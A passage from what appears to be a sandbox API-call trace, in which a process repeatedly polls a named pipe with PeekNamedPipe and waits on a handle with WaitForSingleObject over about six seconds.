out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0119.944] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.002] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.003] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.022] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.022] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.053] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.054] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.085] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.085] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.116] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.116] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.154] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.154] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.178] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.178] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.218] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.218] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.241] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.241] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.272] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.272] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.303] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.303] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.334] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.334] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.365] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.365] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.396] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.397] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.428] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.428] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.459] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.459] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.490] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.490] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.521] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.521] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.563] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.563] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.584] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.584] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.626] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.626] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.646] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.646] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.679] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.679] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.711] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.711] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.740] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.740] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.804] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.805] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.833] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.833] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.865] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0120.865] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0120.939] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0121.040] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0121.085] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0121.086] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0121.185] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0121.185] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0121.216] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0121.216] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0121.728] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0121.728] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0121.761] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0121.763] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0121.814] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0121.814] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0122.207] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0122.207] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0122.263] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0122.263] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0122.500] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0122.500] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0122.756] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0122.756] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0122.887] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0122.891] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0123.064] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0123.064] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0123.098] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0123.098] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0123.227] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0123.227] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0123.294] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0123.295] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0123.347] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0123.347] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0123.377] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0123.378] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0123.885] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0123.888] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0124.334] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0124.335] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0124.364] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0124.364] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0124.503] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0124.503] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0124.732] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0124.732] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0124.824] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0124.826] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0124.846] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0124.846] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0124.882] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0124.882] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0124.905] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0124.905] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0125.367] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0125.367] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0125.398] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0125.398] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0125.420] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0125.420] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0125.451] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0125.451] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0125.483] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0125.483] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0125.513] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0125.514] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0125.556] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0125.556] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0125.576] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0125.576] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0125.607] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0125.608] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0125.638] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0125.638] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0125.669] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0125.669] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0125.701] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0125.701] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0125.735] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, 